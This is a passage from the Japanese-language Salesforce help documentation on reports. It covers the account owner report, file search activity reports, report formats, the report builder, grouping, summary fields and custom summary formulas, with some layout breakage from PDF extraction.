Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

取引先所有者レポートを
表示または非表示にする
• 「アプリケーションの

カスタマイズ」

取引先所有者レポートには、すべての取引先とその所有者が表示されます。
組織全体の共有アクセス権で、取引先を非公開に設定している組織では、取引
先所有者レポートの実行を制限できます。
このレポートを表示または非表示にする手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「取引先所有者レポート」と入力し、

[取引先所有者レポート] を選択します。このオプションは、取引先を非公開
にする共有モデルを持つ組織でのみ使用できます。

2. すべてのユーザがこのレポートを実行できるようにするには、チェックボッ
クスをオンにします。チェックボックスをオンにしない場合は、システム管
理者と「すべてのデータの参照」権限を持つユーザのみがこのレポートを実
行できます。

3. [保存] をクリックします。

ファイル検索活動に関するレポート
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

Salesforce Files を使用可能
なエディション: カスタ
マーポータルを除くすべ
てのエディション

レポートを使用して、ファイル検索での上位 300 個の検索語を特定し、ユーザの
検索語とクリック順位に基づいて、不足しているコンテンツや名前を変更する
必要があるコンテンツを識別します。

必要なユーザ権限

「カスタムレポートタイプの管理」カスタムレポートタイプを作成または
更新する

「公開レポートの管理」公開レポートフォルダを作成する

「レポート実行」および「すべての
データの参照」または「コンテンツ管
理者」ライブラリに対して「ライブラ

File Search Activity レポートを実行する

リの管理」権限を持っているユーザ
は、「すべてのデータの参照」または
「コンテンツ管理者」権限がなくても
レポートを実行できます。

カスタムレポートタイプによってのみ、ファイル検索活動に関するレポートを使用できます。Salesforceでは、
サンプルのファイル検索活動レポートや標準レポートフォルダを提供していません。

メモ: 活動合計は夜間に収集されるため、リアルタイムではありません。
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段階的な手順: ファイル検索活動のレポート
File Search Activity レポートの主オブジェクト
カスタムレポートタイプを作成する場合は、[主オブジェクト] に [ファイルの検索活動] を選択します。
File Search Activity レポートに使用できる項目
次の表に、File Search Activity レポートに使用できる項目を示します。

説明項目

検索結果のリストでファイルをクリックしたときに
ファイルが表示される順序。

平均クリック順位

検索語に対して返された検索結果の数。[期間] も含め
た場合は、指定した期間に基づいてこの値が集計され
ます。

平均結果数

検索カウントが適用される期間。使用できる値は、
[毎日]、[毎月]、[毎年] です。たとえば、[計] が「70」

期間

で [期間] が [毎月] のレコードは、過去の月で 70 の検
索が実行されたことを意味します。合計は、当月分に
ついては毎日、過去 1 か月～過去 1 年分については
毎月、その後は毎年集計されます。

ユーザの検索に適用される言語条件。言語

表示される期間 (日、月、年) の検索数。検索数

ファイルをクリックした個々のユーザ数。ユーザ数

検索の日付。検索の日付

公開ファイルの検索に使用された検索語の最初の 100

文字。
検索語

関連トピック:

レポートフォルダへのアクセス権
フォルダの作成と編集
カスタムレポートタイプの作成
レポートの作成
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レポート形式の選択

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

レポートには、表形式、サマリー、マトリックス、または結合形式を使用でき
ます。表示するデータを取得できる複雑さと、効果的に伝達できる簡潔さを備
えた形式を選択します。
レポートビルダーの [形式] メニューを使用して、次のレポート形式から 1 つ選
択します。デフォルトは表形式です。

説明表示形式

表形式レポートは、データを最も簡単かつ迅速に表示できる方法
です。スプレッドシートと同様に、簡単に列に項目が並べられ、
行にそれぞれの一致するレコードが表示されます。表形式レポー
トは、レコードのリストまたは単一の総合計を含むリストを作成
する場合に最適です。データまたはグラフのグループの作成に使
用することはできません。また、行が制限されていない場合、
ダッシュボードで使用することはできません。例には、取引先責
任者のメーリングリストや活動レポートが含まれています。

表形式

サマリーレポートは表形式レポートと似ていますが、ユーザによ
るデータ行のグルーピング、小計の表示、およびグラフの作成も
可能です。ダッシュボードコンポーネントのソースレポートとし
て使用できます。サマリーレポートは、特定の項目の値に基づい
て小計を表示する場合、または [フェーズ] および [所有者] に
よる小計の階層リスト (チームのすべての商談など) を作成する場
合に使用します。グルーピングのないサマリーレポートは、レ
ポート実行ページで表形式レポートとして表示されます。

サマリー

マトリックスレポートは集計レポートと似ていますが、行および
列ごとにデータをグループ化したり集計したりできます。ダッ

マトリック
ス

シュボードコンポーネントのソースレポートとして使用できま
す。マトリックスレポートを使用して、関連する合計値を比較し
ます。特に、集計するデータ量が多くさまざまな項目の値を比較
する必要がある場合、または日付および商品、個人、場所ごとに
データを表示する場合に役立ちます。行と列のグルーピングを 1

つも行っていないマトリックスレポートは、レポート実行ページ
でサマリーレポートとして表示されます。

結合レポートを使用して、データの異なるビューを提供する複数
のレポートブロックを作成できます。各ブロックは「サブレポー

結合

ト」のように機能し、それぞれに項目、列、並び順、および条件
を設定できます。結合レポートには、異なるレポートタイプから
のデータを含めることもできます。
結合レポートは、Enterprise Edition、Performance Edition、Unlimited

Edition、および Developer Edition でのみ使用できます。
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レポート形式の変更
形式を変更すると、次のように、条件とグルーピングに影響します。

影響変更状況

[表示する行数] 条件が削除されます。表形式からサマリーまたはマトリッ
クスへ

すべてのグループ化、グラフ、およびカスタム集計項目は、レポートか
ら削除されます。グルーピング項目は表形式レポートの列には変換され

サマリー、マトリックス、または
結合から表形式へ

ません。結合レポートに複数のブロックが含まれる場合、表形式レポー
トには最初のブロックのみの列が含まれます。

第 1 のサマリーグルーピングは、第 1 の行グルーピングになります。第
2 のサマリーグルーピングは、第 1 の列グルーピングになります。第 3

のサマリーグルーピングは、第 2 の行グルーピングになります。
レポートウィザードを使用している場合、第 3 のサマリーグルーピング
が削除されます。

サマリーからマトリックスへ

第 1 の行グルーピングは、第 1 のサマリーグルーピングになります。第
2 の行グルーピングは、第 3 のサマリーグルーピングになります。第 1

マトリックスからサマリーへ

の列グルーピングは、第 2 のサマリーグルーピングになります。第 2 の
列グルーピングは削除されます。
レポートウィザードを使用している場合、第 2 の行グルーピングと第 2

の列グルーピングが両方とも削除されます。

既存のレポートが結合レポートの最初のブロックになり、レポートタイ
プが結合レポートの主レポートタイプになります。

表形式、サマリー、またはマトリッ
クスから結合へ

結合レポートブロックは、サマリーレポートと同様に書式設定されるた
め、サマリーレポートから結合レポートに切り替えた場合、グルーピン
グは変わりません。マトリックスレポートから結合レポートに切り替え
た場合、グルーピングは、マトリックスレポートからサマリーレポート
に切り替えた場合と同様に変換されます。
次の項目は結合レポートではサポートされず、変換されません。
• バケット項目
• クロス条件
• [表示する行数] 条件

関連トピック:

新規レポートの作成
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レポートの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

顧客、商談、サポートケースその他の状況など、ビジネスのある側面の最新動
向を把握するレポートを作成します。
レポートを新規作成する手順は、次のとおりです。
1. [レポート] タブから、[新規レポート] をクリックします。
2. レポートのレポートタイプを選択し、[作成] をクリックします。
3. レポートをカスタマイズし、保存または実行します。

関連トピック:

レポートのカスタマイズ
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カスタムレポートの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを実行する
• 「レポート実行」

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

標準レポートをカスタマイズしたり、自分の組織の要求をすべて満たすカスタ
ムレポートを最初から作成したりできます。
「カスタムレポートタイプの管理」権限を持つユーザは、レポートのタイプを
拡張したカスタムレポートタイプを定義できます。これをもとに、組織内のす
べてのユーザはカスタムレポートを作成したり更新したりできます。レポート
タイプは、主オブジェクトとその関連オブジェクトとの関係に基づいて、レポー
トで使用するレコードと項目のセットを定義するものです。レポートには、レ
ポートタイプで定義された条件を満たすレコードのみが表示されます。Salesforce

には、定義済みの標準レポートタイプのセットが用意されています。管理者が
カスタムレポートタイプを作成することもできます。
「レポート作成スナップショットの管理」権限を持つユーザは、スナップショッ
トの作成とスケジューリングを行うことができます。レポート作成スナップ
ショットにより、履歴データに関するレポートを作成できます。承認されたユー
ザは、表形式のレポートやサマリーレポートの結果をカスタムオブジェクトの
項目に保存することができ、それらの項目を対象オブジェクト上の対応する項
目に割り当てることができます。その上で、レポートをいつ実行してそのカス
タムオブジェクトの項目にレポートのデータを読み込むかをスケジューリング
できます。レポート作成スナップショットでは、Salesforce での他のレコード操
作と同様にレポートデータを操作できます。
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アクセシビリティモードでのカスタムレポートの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

メモ: このトピックは、レポートビルダーを使用していない場合にのみ適
用されます。レポートビルダーは、レポートのビジュアルエディタです。

カスタムレポートウィザードを使用してカスタムレポートを新規作成する手順
は、次のとおりです。
1. [レポート] タブから、[新規カスタムレポート] ボタンを選択します。
2. 作成するレポートデータの種類を選択し、[次へ] をクリックします。

カスタムオブジェクトのレポートを作成する場合、カスタムオブジェクトが
標準オブジェクトと関連しない限り、[その他のレポート] レポートタイプカ
テゴリを選択します。カスタムオブジェクトが標準オブジェクトと主従関係
になっている場合、または標準オブジェクトの参照オブジェクトになってい
る場合は、代わりにレポートタイプカテゴリとして標準オブジェクトを選択
します。
外部オブジェクトのレポートを作成する場合は、[その他のレポート] カテゴ
リを選択します。子の標準オブジェクトまたはカスタムオブジェクトと共に
外部オブジェクトのレポートを作成する場合、その関係のために作成したカ
スタムレポートタイプが含まれるカテゴリを選択します。

3. レポート形式を選択します。
4. [次へ] をクリックして、ウィザードの手順に従います。各レポートに対し、

以下のようなカスタマイズをします。
• 行と列のヘッダーの指定: サマリーレポートとマトリックスレポートの [グルーピングの選択] ページで

は、データをグループ化し小計を表示する項目を選択します。サマリーレポートでは、並び替え順を指
定できます。マトリックスレポートでは、行と列のヘッダーとなる集計グルーピング項目を選択しま
す。日付項目でグループ化する場合は、日、週、または月などの特定の期間を使用してデータをさらに
グループ化できます。

メモ:  [グルーピングの選択] ページでは、[集計期間単位] を「カレンダー月」または「カレンダー
日」に設定すると、レポートまたはダッシュボードで日付のグループをドリルダウンできなくなり
ます。代わりに、ユーザはフィルタ処理されていないレポートに移動します。

• データの統計: [統計項目の選択] ページで、数値項目として表示する統計情報の種類を選択します。
• カスタム集計数式の作成: サマリーレポートとマトリックスレポートの [統計項目の選択] ページで、既

存のレポート集計項目を元にカスタム集計数式を作成し、カスタム集計項目を追加します。数式とは、
他の項目、式、または値から値を取得するアルゴリズムのことです。「カスタム集計項目の作成」 (ペー
ジ 4896)を参照してください。

• 項目の選択: [項目の選択] ページで、レポートに表示する項目を選択します。ユーザのページレイアウト
設定と項目レベルセキュリティ設定で編集可能な項目のみを表示できます。[説明] 項目、またはその
他のロングテキストエリア項目を選択した場合は、先頭の 255 文字だけが表示されます。

• レポートには、リッチテキストエリアまたはロングテキストエリアの最初の 254 文字のみが表示されま
す。

• 項目の並び替え: [項目の並び替え] ページで、選択した項目を表示する順序を選択します。
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• レポートの結果の制限: [条件の選択] ページで、ドロップダウンリストから適切な設定を選択し、検索条
件オプションを使用して、一定のデータを持つレコードのみをレポートに表示するよう制限します。
レポートウィザードは最大10個の検索条件をサポートします。レポートの検索条件が10個を上回ると、
余分な検索条件は削除され、レポートに検索条件ロジックのエラーが表示されます。

ヒント: ダッシュボードで表形式レポートを使用するには、まず [表示する行数] オプション、列
の並べ替え、レポートの [条件の選択] ページの順序を設定して行数を制限します。表形式レポート
を使用するダッシュボードのゲージまたは総計値コンポーネントを使用できません。

• グラフの設定:レポートウィザードの [グラフの種類と強調表示の選択] ステップで、グラフのプロパティ
を設定してレポートデータをグラフに表示します。グラフを表示できるレポートは、サマリーレポート
とマトリックスレポートだけです。

5. [レポート実行] をクリックしてレポートを参照するか、[詳細のエクスポート] をクリックしてレポートを
Excel ファイルまたはその他の形式で保存します。

ヒント: レポートをカスタマイズすると、レポートの検索条件や各オプションを適合するため、実行に
少々時間がかかります。レポートのカスタマイズが終了して保存する準備ができるまで、実行結果のサ
ンプルデータが少なくなるような条件を設定しておくことをお勧めします。

レポートデータのグループ化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

サマリーレポート、マトリックスレポート、結合レポートで列または行のデー
タをグループ化して、有意義な情報を表示します。たとえば、完了予定日別に
商談をグループ化して完了した商談を確認したり、商品別にケースをグループ
化して、各商品のケース数を確認したりします。グルーピング内にグルーピン
グを設定することもできます。

グループ化するデータ
[項目] ペインには、選択したレポートタイプの項目がフォルダごとに分類されて
表示されます。サマリーレポートでデータをグループ化する前に、少なくとも
数個の項目をプレビューペインにドラッグアンドドロップします。

グループの追加
項目をドロップゾーンにドロップしてグループを追加します。

[表示] > [ドロップゾーンを表示] をクリックして、参照可能にします。また、レ
ポートの項目の列メニューをクリックし、[この項目でグループ化]を選択するこ
ともできます。
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ヒント: 日付項目でレポートをグループ化する場合、グループメニューをクリックして、[集計期間単位]

を選択し、日、週、月、四半期、年など、グループ化の期間条件を指定します。

異なるレポート形式でのデータのグループ化
サマリーレポートと結合レポートには、最大 3 個のグループ化レベルを含めることができます。マトリックス
レポートには 2 個の行グループ化と 2 個の列グループ化を含めることができます。マトリックスレポートで
は、行と列両方のグループ化に同一の項目を使用できません。結合レポートの場合、[項目] ペインの [共通項
目] カテゴリの項目を使用してすべてのレポートブロックを対象にグループ化ができます。

グループの削除
グループを削除するには、グループメニューをクリックして、[グループを削除]を選択します。グループをク
リックして、次の操作を実行することもできます。
• グループを列バーにドラッグして削除するが、レポートに列としてその項目を残す。
• グループをドラッグして [項目] ペインに戻して削除し、レポートからその項目を削除する。

グループの順序の変更
グループの順序を変更するには、そのグループをドラッグするか、グループメニューをクリックして、列グ
ループ化では [グループを上に移動] または [グループを下に移動] を、行グループ化では [グループを左に移動]

または [グループを右に移動] を選択します。

関連トピック:

レポート項目
レポートの結果の小計

操作を続行しながらレポートのプレビューを読み込む
ほとんどのアクションでは、レポートの操作を続けながらプレビューを読み込むことができます。たとえば、
レポートを編集しながら複数の項目をレポートにドラッグした後、グルーピングを作成しながら、それらの列
を読み込めます。
[プレビュー] パネルに表示されるデータは実際のデータですが、レポートの実行時にどのように表示されるか
を示すために設計された、レポートデータのサブセットにすぎません。[プレビュー] パネルで行が欠落してい
たり、期待どおりに並び替えられていなくても、心配ありません。

メモ: レポートの各外部オブジェクトに対し、プレビューを読み込むたびに組織から外部システムへの
コールアウトが行なわれます。レポートコールアウトの URL が 2 KB にほぼ等しいか超えた場合、組織に
よって要求が複数の HTTP コールに分割され、各 URL が 2 KB 未満になります。

次のアクションの実行中は、レポートプレビューの操作を続行できます。
• 項目の追加、削除、または並び替え
• 集計項目の追加または削除
• グループの追加、削除、または並び替え
• 数式の削除
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メモ:

• グラフで使用している集計項目または数式を削除すると、グラフは再読み込みされますが、レポート
プレビューは非同期で読み込まれます。

• 非同期読み込みは、マトリックスレポートと結合レポートには使用できません。

次のアクションの実行中は、レポートプレビューを操作できません。
• 数式の追加または編集
• レポートの唯一のグループの削除
• 表形式レポートで行数の制限に使用される列の削除
• グループまたは列によるレポートの並び替え
• 標準項目またはカスタム項目の更新
• レポート形式の変更
• レポートの詳細の表示または非表示
• グラフの追加または削除
• 条件付き強調表示の追加または削除
• [集計期間単位] の変更
• 換算された通貨項目の変更
• レポートの保存

関連トピック:

新規レポートの作成
レポート項目

レポートのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レポートビルダーは、レポートのビジュアルエディタです。レポートビルダー
画面では、レポート項目およびレポート検索条件を使用し、一部のデータのみ
でレポートをプレビューできます。
レポートビルダーでは、画面スペースを最大限に利用するため、圧縮ページヘッ
ダーを使用します。アプリケーションタブを表示するには、単にビルダーを閉
じるか、Salesforce ロゴをクリックします。
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[項目] ペイン (1)

[項目] ペインには、選択したレポートタイプの項目がフォルダごとに分類されて表示されます。[クイック
検索] 検索ボックスおよびデータ型の検索条件を使用して該当する項目を検索し、[プレビュー] パネルにド
ラッグしてレポートに追加します。
[項目] ペインでもカスタム集計項目およびバケット項目を作成、表示、編集、削除できます。
結合レポート形式では、[項目] ペインでレポートに追加されたすべてのレポートタイプの項目がレポート
タイプ別に編成されて、表示されます。

4890

レポート分析



[条件] ペイン (2)

ビュー、タイムフレーム、およびカスタム条件を設定して、レポートに表示されるデータを制限します。
[プレビュー] ペイン (3)

動的なプレビューを使用して、レポートを容易にカスタマイズできます。列、集計項目、数式、グループ
化、およびブロックの追加、並び替え、削除を行います。レポート形式と表示オプションを変更したり、
またはグラフを追加したりします。
プレビューでは、表示されるレコードが制限されます。レポートを実行してすべての結果を表示します。

関連トピック:

ダッシュボードによる複雑な情報の視覚化
レポートの作成
新規レポートの作成

レポート項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

[項目] ペインには、選択したレポートタイプの項目がフォルダごとに分類されて
表示されます。また、ユーザが作成、編集、削除できるカスタム集計項目のリ
ストも表示されます。
項目の絞り込みの追加

表形式レポート、サマリーレポート、およびマトリックスレポートでは、[項
目] ペインから [条件] ペインに項目をドラッグして、レポート検索条件を追
加できます。

項目の検索
項目名を [クイック検索] 検索ボックスに入力して項目を検索します。リスト
を種別で絞り込むこともできます。
• すべての項目種別およびカスタム集計項目を表示するには、 をクリッ

クします。
• テキスト項目のみを表示するには、 をクリックします。
• 数値項目 (数値、通貨、パーセントなど) のみを表示するには、 をク

リックします。
• 日付項目のみを表示するには、 をクリックします。

項目の追加と削除
項目を表形式レポート、サマリーレポート、マトリックスレポートに追加す
るには、項目をダブルクリックするか、[プレビュー] ペインにドラッグしま
す。結合レポートに項目を追加するには、[プレビュー] ペインにドラッグし
ます。複数の項目を選択するには、[CTRL]キーを押しますフォルダのすべて
の項目を追加するには、フォルダ全体をドラッグします。表形式レポート、サマリーレポート、またはマ
トリックスレポートにすでに項目が含まれている場合は、その項目を再度追加することはできません。結
合レポートには、異なるブロックに追加する限り、同じ項目を複数回追加できます。[プレビュー] ペイン
で、[表示] > [詳細]をクリックしてレポート項目を確認します。[表示] > [詳細]が無効になっているときは、
集計項目のみを追加できます。
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項目を削除するには、その項目の列のヘッダーをクリックして [項目] ペインにドラッグします。表形式レ
ポート、サマリーレポート、およびマトリックスレポートでは、列メニューをクリックして、[列を削除]

を選択するか、または [列をすべて削除] をクリックできます。
複数項目の使用

複数の項目を選択して追加、削除、または並び替えできます。たとえば、[作成者]、[タイプ]、および [商
談名] を同時にレポートに追加できます。
複数の項目または列を選択するには、Ctrl (Windows) キーまたは Command (Mac) キーを押します。

メモ:

• 複数項目を追加する場合、項目は選択した順序でレポートに表示されます。
• 集計形式と表形式で複数の集計可能項目をレポートに追加する場合は、[表示] > [詳細] を無効にし

ます。[集計] ダイアログが自動的に表示され、すべての項目の集計を一度に選択できます。
• テキスト項目など、非集計項目をレポートに追加する場合は、[表示] > [詳細] を有効にします。
• 結合レポートを使用する場合、[共通項目] カテゴリおよび 1 つのレポートタイプから複数の項目を

選択できます。複数のレポートタイプから複数の項目を選択することはできません。

項目の並び替え
列のヘッダーを新しい場所にドラッグしてレポート列を並び替えます。複数の列を選択するには、[CTRL]

キーを押します。レポートを列ごとに並び替えるには、その列のヘッダーをクリックします。列のメニュー
をクリックし、ドロップダウンリストから[昇順に並び替え]または[降順に並び替え]を選択することもでき
ます。[表示] > [詳細] が選択されていない場合は、並び替えを行うことはできません。

表示通貨の変更
組織でマルチ通貨が有効な場合は、すべての通貨項目の表示通貨を変更できます。[表示] > [次の通貨で表
示する] をクリックしてから、表示する有効な通貨を選択します。

関連トピック:

レポートの数式の使用
レポートデータのグループ化
レポートデータの集計
データ範囲の強調表示
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レポートデータの集計

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

集計項目には、合計、平均、最大値または最小値を示す数値が含まれます。集
計項目は、すべてのグルーピングレベルで表示されます。サマリーレポートお
よびマトリックスレポートでは、総計レベルでも表示されます。
[項目] ペインには、選択したレポートタイプの項目がフォルダごとに分類されて
表示されます。
集計とは、数値項目の [合計]、[平均]、[最大]、または [最小]のことです (よ
り迅速にこれらの項目を見つけるには、 条件を使用します)。
集計項目を追加する手順は、次のとおりです。
• [項目] ペインの数値項目をダブルクリックします。
• 数値項目をプレビューまでドラッグします。複数の項目を選択するには、

[CTRL] キーを押します。マトリックスレポートには、集計項目セットの前、
間、および後にドロップゾーンがあります。たとえば、[年間売上]の合計、
平均、最大、最小は 1 つのセットであるため、新しい集計項目をこれらの間
にドロップすることはできません。

• すでにレポートにある項目の列メニューで [この項目を集計]を選択します。
既存の集計項目を変更したり、同一の項目にその他の集計を追加するには、集
計項目の横にある をクリックして、[この項目を集計] を選択します。
集計項目を削除する手順は、次のとおりです。
• メニューをクリックして [この項目を集計]を選択し、すべてのオプションを

選択解除します。
• メニューをクリックして [集計を削除] を選択します。
• 集計のセットをドラッグして [項目] ペインに戻します。なお、その項目の集計項目はすべて削除されます。

複数の集計項目を選択するには、[CTRL] キーを押します
マトリックスレポートの集計項目のセットをドラッグして並び替えます。ドラッグすると、各項目の集計は一
緒に移動します。たとえば、レポートに [年間売上] の合計と平均および [確度] の最大および最小が含まれ
ている場合、[確度]の集計項目を [年間売上]集計項目の前後にドラッグすることはできますが、集計項目の
間にはドラッグできません。集計は、カスタム集計項目の後または [レコード件数] の後ろに配置することは
できません。

関連トピック:

レポート項目
レポートの結果の小計
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レポートの結果の小計

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートの結果を小計す
る
• 「レポートの作成とカ

スタマイズ」

レポートを小計すると、データの動向を分析するツールが表示されます。情報
セットをグループ化して、そのグルーピングを並び替えて、各セットの小計を
総計と比較できます。サマリーレポートと結合レポートでは、複数の項目で小
計し、情報セットをカスケード表示することもできます。
たとえば、サマリーレポートを商談所有者別に小計すると、レポートでは取引
先が商談所有者別にグループ化され、各ユーザが所有する商談数が一覧表示さ
れ、レポート内のすべての列で商談所有者別の小計が表示されます。さらに、
各ユーザの商談を商品別に小計できます。
1. 任意のレポートで [カスタマイズ] または [編集] をクリックします。
2. レポートビルダーで、レポートに集計項目を追加します。

集計は、グルーピングレベルごとに、または個々の行についても表示されま
す。

関連トピック:

レポート実行ページ
カスタム集計項目の作成
新規レポートの作成
レポートの結果の小計

レポートのスマート合計
「スマート」合計とは、重複データが小計または合計で一度のみカウントされることを意味します。Salesforce

では、集計または平均化の対象として選択した列に重複データが含まれているレポートを実行するときに、
「スマート」合計を使用します。
たとえば、1 つの商談に 2 つの商品が関係しており、合計の計算対象列として合計商談金額を選択して商談品
目レポートを実行するとします。レポートの詳細には、この金額が二度 (商談に関係する商品ごとに一度ずつ)

表示されます。
この場合、「スマート」合計を実行すると、該当する商談金額が一度のみ加算され、小計、総計、平均が正確
に計算されます。

メモ: ダッシュボードコンポーネントの場合、「スマート」合計は使用されません。たとえば、ダッシュ
ボードテーブルでは、表示される合計はテーブルに一覧表示されている値の単純な合計です。

関連トピック:

レポートの結果の小計
レポートの結果の小計
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レポートの数式の使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

数式では、レポートデータを使用して計算した値に基づいてカスタム集計を作
成できます。その後、これらの数式をレポートで列として使用できます。
[項目] ペインには、選択したレポートタイプの項目がフォルダごとに分類されて
表示されます。
サマリーレポートまたはマトリックスレポートに新しい数式を追加するには、
[新規カスタム集計項目を追加]をダブルクリックします。数式を定義し、[OK]を
クリックすると、サマリーレポートの列およびマトリックスレポートの集計項
目としてプレビューに自動的に追加されます。結合レポートでは、クロスブロッ
クまたは標準カスタム集計項目のいずれかを追加できます。数式を編集するに
は、[項目] ペインの名前の上にカーソルを置き、 をクリックします。
プレビューから数式を削除するには、ヘッダーをクリックして [項目] ペインに
ドラッグするか、メニューをクリックして、[数式を削除]を選択します。複数の
数式を選択するには、[CTRL] キーを押します。プレビューから数式を削除して
も、数式は削除されません。数式を削除するには、名前の上にカーソルを置き、

をクリックするか、その項目のメニューから [数式を削除] をクリックしま
す。
ダッシュボードとレポートグラフでは、カスタム集計項目に表示される小数点
以下の値は、項目の設定ではなく、デフォルトの通貨設定を使用して表示され
ます。たとえば、集計項目の小数点以下の桁数を 0 に指定した場合、列には小
数が表示されませんが、グラフの値にはデフォルト通貨に指定した小数点以下
の桁数 (通常 2 桁) が示されます。これは、通貨、数字、パーセントに適用されま
す。

1. カスタム集計項目の作成
サマリーレポートとマトリックスレポートのカスタム集計項目を作成して、レポートで使用できる数値項
目に基づいた追加の合計を計算します。

2. カスタム集計項目の集計関数の使用
集計関数では、サマリーレポート、マトリックスレポート、および結合レポートのカスタム集計項目でグ
ルーピング値を使用できます。集計関数には PARENTGROUPVAL と PREVGROUPVAL の 2 種類があります。

3. PARENTGROUPVAL および PREVGROUPVAL

PARENTGROUPVALは、親グルーピングに対する相対的な値の計算に使用します。PREVGROUPVALは、同位
のグルーピングに対する相対的な値の計算に使用します。

4. カスタム集計項目を最大限に活用
カスタム集計項目は強力なレポート手法ですが、取り扱いには注意を要します。次に、カスタム集計項目
を使用する際に留意すべきヒントをいくつか示します。

関連トピック:

カスタム集計項目の作成
レポート項目
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カスタム集計項目の作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

サマリーレポートとマトリックスレポートのカスタム集計項目を作成して、レ
ポートで使用できる数値項目に基づいた追加の合計を計算します。
数式とは、他の項目、式、または値から値を取得するアルゴリズムのことです。
カスタム集計項目には、3,900 文字まで含めることができます。カスタム集計項
目は、サマリーレポート、マトリックスレポート、および結合レポートに使用
できます。複数のレポートで共有することはできません。
1. レポートビルダーで、[項目] ペインの[新規カスタム集計項目を追加]をクリッ

クします。
2. 数式の名前を入力します。それがそのままレポートに表示されます。一意の

ラベルを指定する必要があります。必要に応じて、説明を入力します。
3. [形式] ドロップダウンリストから、計算の出力に基づいて数式に適用する

データ型を選択します。
4. [小数点の位置]ドロップダウンから、通貨、数字、またはパーセントデータ

型の表示に適用する小数点以下の桁数を選択します。この設定は、マルチ通
貨組織の通貨項目では無視されます。代わりに、通貨設定の [小数点の位置]

が適用されます。
[小数点の位置] で [なし] を選択すると、有効な値は次のようになります。
• 通貨の場合、最大 18 桁、通貨用のデフォルトの小数点位置精度
• パーセントの場合、最大 18 桁、小数部の桁数なし
• 数値の場合、最大 18 桁、小数点位置精度の変更なし

5. [この数式をどこに表示しますか?]オプションを設定します。式の計算は、選択したレベルでレポートに表
示されます。[総計] など、すべてのレベルで数式の計算を表示するには、[すべての集計レベル] を選択し
ます。

6. 数式の作成:

a. [集計項目]ドロップダウンリストに表示されているいずれかの項目を選択します。この項目の値が数式
で使用されます。

b. 数式で使用する集計種別を選択します。このオプションは、[レコード件数] には使用できません。

説明集計種別

項目またはグルーピング項目のデータの合計値。合計

項目または項目グルーピングのデータの最大値。最大値

項目または項目グルーピングのデータの最小値。最小値

項目または項目グルーピングのデータの平均。平均

c. [演算子] をクリックして、演算子を式に追加します。
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d. 関数のカテゴリ ([すべて]、[論理]、[計算]、または [概要]) を選択し、数式で使用する関数を選択して、
[挿入] をクリックします。

e. 必要に応じて上記の手順を繰り返します。

7. [構文を確認] をクリックして、数式にエラーがないかどうかを確認します。エラーは、カーソルにより強
調表示されます。

8. [OK] をクリックします。レポートを保存しなければ、数式も保存されません。

関連トピック:

新規レポートの作成
レポートの数式の使用
カスタム集計項目を最大限に活用
結合レポートのカスタム集計項目の作成

カスタム集計項目の集計関数の使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

集計関数では、サマリーレポート、マトリックスレポート、および結合レポー
トのカスタム集計項目でグルーピング値を使用できます。集計関数には
